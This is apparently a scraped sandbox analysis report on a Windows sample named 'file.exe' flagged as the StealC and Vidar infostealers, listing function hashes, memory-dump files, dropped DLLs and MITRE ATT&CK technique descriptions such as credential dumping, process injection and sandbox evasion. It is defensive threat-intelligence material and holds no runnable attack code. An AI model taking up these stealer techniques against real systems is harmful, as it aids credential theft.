Opcode Fuzzy Hash: d2ba243b04c091532758b14435429ab57442d975f8d413df6fbc1fe274fb2ae7
Instruction Fuzzy Hash: 0C51C2B1A092158FDB14CF1DC98075EB7B5FFC530AF55852DC85AABB10D731A804CBA9

Function 6C616E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C616EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C616EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C616F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C616F5C

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 05b0e0321913991a1bab4d1f05a50033b2c053b488cd1cd9b2a59464317ced2c
Instruction ID: cb8e688bf0530f41179b3e5302e80977f8b832a371a3c683597512b3cb31d510
Opcode Fuzzy Hash: 05b0e0321913991a1bab4d1f05a50033b2c053b488cd1cd9b2a59464317ced2c
Instruction Fuzzy Hash: E631E775A1460A8FDB04CF2CC9806AA73FAEBC5305F508239D41AC7A61EB32E559C794

Function 6C62B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C5D0A4D), ref: 6C62B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C5D0A4D), ref: 6C62B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C5D0A4D), ref: 6C62B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C5D0A4D), ref: 6C62B67F

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: f3d7c58e471242c666c5c08b4178332ab6f3f2aca3fa0d09ac3d3d8d66207805
Instruction ID: 85bbc86e3b5f95028a02f458fe7350430bcd0e441053deb681199ee5ac8987b6
Opcode Fuzzy Hash: f3d7c58e471242c666c5c08b4178332ab6f3f2aca3fa0d09ac3d3d8d66207805
Instruction Fuzzy Hash: 4E31F471A002168FDB10DF59C884A9ABBB5FFC0309F16C529C8179B301DB36E915CFA4

Function 6C5FF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C5FF611
memcpy.VCRUNTIME140(?,?,?), ref: 6C5FF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C5FF652
memcpy.VCRUNTIME140(?,?,?), ref: 6C5FF668

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: e41db38e3f6f875d9ae13fc1318721d7dfe5004b6dac3c74e46dbe65df8249b3
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: C3315071A00224AFD718DF29CCC0A9E77F5EB84358B148638FA5A8BF05D632E945CB94

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\DBKFIDAAEHIEGCBFIDBFHCGDAK

C:\ProgramData\EBGIDGCAFCBKECAAKJJK

C:\ProgramData\GIJJKKJJDAAAAAKFHJJDGDAFBA

C:\ProgramData\HDAKJDHI

C:\ProgramData\IDAAKEHJDHJKEBFHJEGD

C:\ProgramData\JJJJDAAE

C:\ProgramData\KJDGDBFBGIDGIEBGHCGI

C:\ProgramData\KJKJKFCBKKJDGDHIDBGIECBGHJ

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

Windows Analysis Report
file.exe

Function 00A19860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00A045C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00A0BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6C5C35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 00A14910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 00A19C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00A07710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre